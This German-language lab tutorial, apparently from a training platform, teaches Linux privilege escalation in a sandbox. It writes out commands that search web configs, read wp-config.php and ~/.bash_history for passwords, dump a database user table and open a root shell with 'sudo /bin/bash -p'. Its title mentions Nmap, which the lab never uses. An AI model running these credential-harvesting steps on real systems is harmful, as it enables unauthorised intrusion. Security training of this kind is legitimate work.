Sensible Konfigurationsdateien mit Nmap finden und für Privilege Escalation ausnutzen

Einführung

In diesem Lab werden wir lernen, wie man sensible Konfigurationsdateien auf einem Linux-System findet und ausnutzt, um seine Rechte auf Root-Rechte zu erhöhen. Das Ziel ist es, ein tieferes Verständnis von Web-Service-Konfigurationsdateien und benutzerbezogenen Konfigurationsdateien zu erlangen und zu verstehen, wie man sie für die Rechteerhöhung nutzen kann. Wir gehen davon aus, dass wir bereits über eine Web-Schwachstelle einen Shell-Zugang mit niedrigen Rechten, wie z. B. als Benutzer www-data, erlangt haben, und wir werden Techniken zur Erhöhung unseres Zugangs auf Root-Rechte untersuchen.

Untersuchung von Web - Service - Konfigurationsdateien

Web-Service-Konfigurationsdateien können sensible Informationen wie Datenbankzugangsdaten enthalten, die für eine Rechteerhöhung genutzt werden können, wenn der Administrator Passwörter wiederverwendet hat.

Öffnen Sie zunächst ein Terminal und navigieren Sie zum Verzeichnis /home/labex/project.
```
cd /home/labex/project
```
Beginnen wir mit der Initialisierung der Lab-Umgebung:
```
./env_setup_1.sh
```
Nach der Initialisierung arbeiten wir nun als Benutzer www-data, was einem Shell-Zugang mit niedrigen Rechten entspricht, der über eine Web-Schwachstelle erlangt wurde.
Web-Services auf Linux werden typischerweise im Verzeichnis /var/www gespeichert. Wir sollten uns auf die folgenden Dateien konzentrieren:
- database.php
- user.php
- *.config
- config.php
Wir können diese Dateien mit dem folgenden Befehl suchen:
```
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null
```
Erwartete Ausgabe:
```
/var/www/wordpress/wp-admin/includes/user.php
/var/www/wordpress/wp-includes/user.php
/var/www/wordpress/wp-content/plugins/akismet/views/config.php
```
Zusätzlich können wir, wenn das Zielsystem ein Content Management System (CMS) verwendet, nach dem Standard-Speicherort der Datenbankverbindungsdatei für dieses spezifische CMS suchen.
In dieser Lab-Umgebung verwendet der Server das WordPress-CMS. Durch die Suche stellen wir fest, dass die WordPress-Datenbankkonfiguration in der Datei /var/www/wordpress/wp-config.php gespeichert ist:
```
more /var/www/wordpress/wp-config.php
```
Diese Datei enthält die Zugangsdaten für das MySQL-Root-Konto:
```
/** MySQL database username */
define( 'DB_USER', 'root' );

/** MySQL database password */
define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
```
Angesichts der Möglichkeit, dass der Administrator Passwörter wiederverwendet hat, können wir versuchen, uns mit diesem Passwort als System-Root-Benutzer anzumelden:
```
su -
```
Leider funktioniert dieses Passwort nicht für den Root-Benutzer.
Als Nächstes können wir uns bei der MySQL-Datenbank anmelden und nach weiteren Informationen suchen:
```
mysql -u root -p -h 127.0.0.1
```
Geben Sie das Passwort aus der Datei wp-config.php ein:
```
cD8M2M8fMiDHu4m1
```
Innerhalb der MySQL-Datenbank können wir die folgenden Befehle ausführen, um weitere Informationen zu sammeln:

Prüfen Sie die verfügbaren Datenbanken:
```
show databases;
```
Wählen Sie die Datenbank ROB aus:
```
use ROB;
```
Auflisten der Tabellen in der Datenbank ROB:
```
show tables;
```
Wählen Sie die Tabelle rob_user aus:
```
select * from rob_user;
```
Aus der Datenbank erhalten wir zwei weitere Sets von Zugangsdaten:
```
root:CMPc5MoAGf
alice:psoj9apv4u
```
Beenden Sie die MySQL-Datenbank:
```
exit
```
Wir können versuchen, uns als Root-Benutzer mit dem Passwort CMPc5MoAGf anzumelden:
```
su -
```
Geben Sie das Passwort ein, das wir aus der Datenbank erhalten haben:
```
CMPc5MoAGf
```
Diesmal gelingt es uns, Root-Zugang zu erhalten!
Erstellen Sie eine Datei namens proof.txt im Verzeichnis /root, um die erfolgreiche Rechteerhöhung zu demonstrieren:
```
echo "Success" > /root/proof.txt
```
Überprüfen Sie, ob die Datei erstellt wurde:
```
ls /root/proof.txt
```

In diesem Schritt haben wir gelernt, wie man sensible Informationen in Web-Service-Konfigurationsdateien findet und ausnutzt, um Rechte zu erhöhen. Die Kernidee besteht darin, Authentifizierungsdaten auf dem Server zu suchen und die potenzielle Passwortwiederverwendung für die Rechteerhöhung zu nutzen.

Untersuchung von benutzerbezogenen Konfigurationsdateien

In diesem Schritt werden wir uns auf benutzerbezogene Konfigurationsdateien konzentrieren, die sensible Informationen enthalten können.

Nach dem letzten Schritt befinden Sie sich möglicherweise immer noch im Root-Shell. Für diesen Schritt wechseln wir zurück zum Benutzer labex, indem wir den folgenden Befehl ausführen:

su - labex

Navigieren Sie zunächst zum Verzeichnis /home/labex/project.
```
cd /home/labex/project
```
Beginnen wir mit der Initialisierung der Lab-Umgebung:
```
./env_setup_2.sh
```
Nach der Initialisierung arbeiten wir nun als Benutzer user001.
Die beiden Hauptdateien, die wir untersuchen sollten, sind:
- ~/.bash_profile: Wird zur Konfiguration von Umgebungsvariablen und Startprogrammen verwendet. Diese Datei wird ausgeführt, wenn ein Benutzer sich anmeldet (Login).
- ~/.bash_history: Eine Datei im Home-Verzeichnis jedes Benutzers, die die Befehlshistorie des Benutzers im Shell aufzeichnet. Normalerweise werden die letzten 1000 Befehle gespeichert (dieses Feature kann auf einigen Linux-Distributionen deaktiviert sein).
Beginnen wir mit der Überprüfung der Datei ~/.bash_profile:
```
cat ~/.bash_profile
```
Erwartete Ausgabe:
```
cat: /home/user001/.bash_profile: No such file or directory
```
In diesem Fall scheint der Benutzer user001 die Datei ~/.bash_profile nicht zu verwenden.
Als Nächstes überprüfen wir die Datei ~/.bash_history:
```
cat ~/.bash_history
```
Hier finden wir einen in der Historie aufgezeichneten Befehl:
```
...
echo user001:09FMWNFS7n | chpasswd
...
```
Dieser Befehl deutet darauf hin, dass das Passwort des Benutzers user001 auf 09FMWNFS7n geändert wurde.
Wir können versuchen, dieses Passwort zu verwenden, um erhöhte Rechte zu erhalten:
```
sudo whoami
```
Geben Sie das Passwort ein, das wir in der Datei ~/.bash_history gefunden haben:
```
09FMWNFS7n
```
Das Passwort funktioniert, und wir können Befehle mit sudo-Rechten ausführen.
Um einen Root-Shell zu erhalten, können wir den folgenden Befehl verwenden:
```
sudo /bin/bash -p
```
Wir haben erfolgreich einen Root-Shell erhalten, indem wir Informationen aus der Befehlshistorie des Benutzers ausgenutzt haben.
Schließlich erstellen wir eine Datei namens success.txt im Verzeichnis /root, um das Lab abzuschließen:
```
echo "Congratulations" | sudo tee /root/success.txt
```

Zusammenfassung

In diesem Lab haben wir gelernt, wie man sensible Informationen in Web-Service-Konfigurationsdateien und benutzerbezogenen Konfigurationsdateien findet und ausnutzt, um Rechte auf einem Linux-System zu erhöhen. Wir haben Techniken zur Suche nach Dateien, die Authentifizierungsdaten enthalten können, wie z. B. Datenbankverbindungsdateien, Benutzerbefehlshistorie und andere Konfigurationsdateien, untersucht. Durch die Nutzung potenzieller Passwortwiederverwendung konnten wir Root-Zugang erhalten.

Der wichtigste Punkt ist, immer auf die Suche nach sensiblen Informationen auf dem System zu sein, da diese möglicherweise zu einer Rechteerhöhung führen können. Obwohl sich dieses Lab auf bestimmte Dateitypen konzentrierte, ist es wichtig, die Einstellung beizubehalten, ständig nach Dateien oder Informationen zu suchen, die für Zwecke der Rechteerhöhung ausgenutzt werden können.